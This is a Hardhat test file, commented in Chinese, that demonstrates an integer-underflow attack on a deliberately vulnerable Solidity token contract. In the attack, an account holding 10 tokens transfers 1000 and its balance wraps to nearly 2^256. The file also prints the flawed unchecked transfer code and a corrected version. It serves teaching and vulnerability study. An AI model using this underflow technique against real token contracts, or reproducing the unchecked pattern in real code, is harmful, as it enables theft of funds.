1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200
| const { time, loadFixture, } = require("@nomicfoundation/hardhat-toolbox/network-helpers"); const { anyValue } = require("@nomicfoundation/hardhat-chai-matchers/withArgs"); const { expect } = require("chai");
describe("整数溢出攻击演示", function () { // 定义测试夹具 async function deployTokenFixture() { const [owner, attacker, otherAccount] = await ethers.getSigners();
console.log("👤 所有者地址:", owner.address); console.log("👤 攻击者地址:", attacker.address); console.log("👤 其他账户地址:", otherAccount.address);
// 部署Token合约,初始供给100 console.log("\n📝 步骤1: 部署Token合约,将总供给设为100"); const Token = await ethers.getContractFactory("Token"); const token = await Token.deploy(100); await token.waitForDeployment(); const tokenAddress = await token.getAddress(); console.log("✅ Token合约地址:", tokenAddress);
// 验证初始状态 const initialTotalSupply = await token.totalSupply(); const ownerBalance = await token.balanceOf(owner.address); console.log("✅ 初始总供给:", initialTotalSupply.toString()); console.log("✅ 所有者余额:", ownerBalance.toString());
return { token, owner, attacker, otherAccount, initialTotalSupply }; }
describe("整数下溢攻击流程", function () { it("应该成功演示整数下溢攻击", async function () { const { token, owner, attacker, otherAccount } = await loadFixture(deployTokenFixture);
console.log("\n📊 攻击前状态检查:"); const ownerBalanceBefore = await token.balanceOf(owner.address); const attackerBalanceBefore = await token.balanceOf(attacker.address); const otherBalanceBefore = await token.balanceOf(otherAccount.address); const totalSupplyBefore = await token.totalSupply();
console.log(" 所有者余额:", ownerBalanceBefore.toString()); console.log(" 攻击者余额:", attackerBalanceBefore.toString()); console.log(" 其他账户余额:", otherBalanceBefore.toString()); console.log(" 总供给:", totalSupplyBefore.toString());
// 验证初始状态 expect(ownerBalanceBefore).to.equal(100n); expect(attackerBalanceBefore).to.equal(0n); expect(totalSupplyBefore).to.equal(100n);
console.log("\n💰 步骤2: 向攻击者账户转账10个代币(正常转账)"); const normalTransferTx = await token.connect(owner).transfer(attacker.address, 10); await normalTransferTx.wait();
const ownerBalanceAfterNormal = await token.balanceOf(owner.address); const attackerBalanceAfterNormal = await token.balanceOf(attacker.address);
console.log(" ✅ 正常转账成功"); console.log(" 所有者余额:", ownerBalanceAfterNormal.toString()); console.log(" 攻击者余额:", attackerBalanceAfterNormal.toString());
// 验证正常转账 expect(ownerBalanceAfterNormal).to.equal(90n); expect(attackerBalanceAfterNormal).to.equal(10n);
console.log("\n💥 步骤3: 向另一个账户转账1000个代币(触发整数下溢)"); console.log(" 攻击者余额:", attackerBalanceAfterNormal.toString()); console.log(" 尝试转账:", "1000"); console.log(" 计算: 10 - 1000 = ? (无符号整数下溢)");
// 攻击者尝试转账1000个代币(超过其余额) const overflowTransferTx = await token.connect(attacker).transfer(otherAccount.address, 1000); await overflowTransferTx.wait();
console.log(" ✅ 转账交易成功(触发整数下溢)");
console.log("\n🔍 步骤4: 查询攻击者账户的余额"); const attackerBalanceAfterOverflow = await token.balanceOf(attacker.address); const otherBalanceAfterOverflow = await token.balanceOf(otherAccount.address); const totalSupplyAfterOverflow = await token.totalSupply();
console.log(" 📊 攻击后状态:"); console.log(" 攻击者余额:", attackerBalanceAfterOverflow.toString()); console.log(" 其他账户余额:", otherBalanceAfterOverflow.toString()); console.log(" 总供给:", totalSupplyAfterOverflow.toString());
// 计算预期的下溢值 const expectedOverflowValue = (2n ** 256n) - 990n; // 10 - 1000 = 2^256 - 990 console.log("\n🧮 下溢计算分析:"); console.log(" 攻击者原余额: 10"); console.log(" 转账金额: 1000"); console.log(" 计算过程: 10 - 1000 =", (10 - 1000).toString()); console.log(" 无符号整数下溢: 10 - 1000 =", expectedOverflowValue.toString()); console.log(" 十六进制:", "0x" + expectedOverflowValue.toString(16));
// 验证整数下溢攻击成功 expect(attackerBalanceAfterOverflow).to.equal(expectedOverflowValue); expect(otherBalanceAfterOverflow).to.equal(1000n);
console.log("\n🎉 整数下溢攻击成功!"); console.log(" • 攻击者用10个代币成功转账1000个代币"); console.log(" • 攻击者余额变为一个非常大的数字 (~2^256)"); console.log(" • 合约状态被破坏"); }); });
describe("漏洞分析", function () { it("应该分析漏洞的根本原因", async function () { const { token, owner, attacker, otherAccount } = await loadFixture(deployTokenFixture);
console.log("\n=== 漏洞分析 ===");
console.log("\n🔍 漏洞代码位置:"); console.log(" function transfer(address _to, uint _value) public returns (bool) {"); console.log(" unchecked{"); // ❌ 危险:禁用安全检查 console.log(" require(balances[msg.sender] - _value >= 0);"); // ❌ 问题:无符号整数总是 >= 0 console.log(" balances[msg.sender] -= _value;"); // ❌ 问题:可能下溢 console.log(" balances[_to] += _value;"); console.log(" }"); console.log(" return true;"); console.log(" }");
console.log("\n❌ 漏洞原因:"); console.log(" 1. unchecked 块禁用了Solidity的算术溢出检查"); console.log(" 2. require(balances[msg.sender] - _value >= 0) 总是为真"); console.log(" - 无符号整数减法结果总是 >= 0(会发生下溢)"); console.log(" 3. balances[msg.sender] -= _value 可能产生下溢");
console.log("\n💡 修复方案:"); console.log(" function transfer(address _to, uint _value) public returns (bool) {"); console.log(" require(balances[msg.sender] >= _value, \"Insufficient balance\");"); // ✅ 正确检查 console.log(" balances[msg.sender] -= _value;"); console.log(" balances[_to] += _value;"); console.log(" return true;"); console.log(" }");
// 演示漏洞 console.log("\n🔬 漏洞演示:"); await token.connect(owner).transfer(attacker.address, 10);
const balanceBefore = await token.balanceOf(attacker.address); console.log(" 攻击者初始余额:", balanceBefore.toString());
// 执行下溢攻击 await token.connect(attacker).transfer(otherAccount.address, 1000);
const balanceAfter = await token.balanceOf(attacker.address); console.log(" 攻击者攻击后余额:", balanceAfter.toString()); console.log(" 余额变化:", (balanceAfter - balanceBefore).toString());
expect(balanceAfter).to.be.gt(2n ** 255n); // 验证余额变得非常大 }); });
describe("边界情况测试", function () { it("应该测试各种边界情况", async function () { const { token, owner, attacker } = await loadFixture(deployTokenFixture);
console.log("\n=== 边界情况测试 ===");
// 测试1: 正常转账 console.log("\n1. 正常转账测试"); await token.connect(owner).transfer(attacker.address, 50); const normalBalance = await token.balanceOf(attacker.address); console.log(" ✅ 正常转账后余额:", normalBalance.toString()); expect(normalBalance).to.equal(50n);
// 测试2: 转账余额为0 console.log("\n2. 转账0个代币"); await token.connect(attacker).transfer(owner.address, 0); const zeroTransferBalance = await token.balanceOf(attacker.address); console.log(" ✅ 转账0后余额:", zeroTransferBalance.toString()); expect(zeroTransferBalance).to.equal(50n);
// 测试3: 转账全部余额 console.log("\n3. 转账全部余额"); await token.connect(attacker).transfer(owner.address, 50); const allBalance = await token.balanceOf(attacker.address); console.log(" ✅ 转账全部余额后:", allBalance.toString()); expect(allBalance).to.equal(0n);
// 测试4: 下溢攻击 console.log("\n4. 下溢攻击测试"); await token.connect(owner).transfer(attacker.address, 1); // 给攻击者1个代币 await token.connect(attacker).transfer(owner.address, 1000); // 尝试转账1000个
const overflowBalance = await token.balanceOf(attacker.address); console.log(" 💥 下溢攻击后余额:", overflowBalance.toString()); console.log(" 十六进制: 0x" + overflowBalance.toString(16));
// 验证下溢结果 const expected = (2n ** 256n) - 999n; // 1 - 1000 = 2^256 - 999 expect(overflowBalance).to.equal(expected); }); });
});
|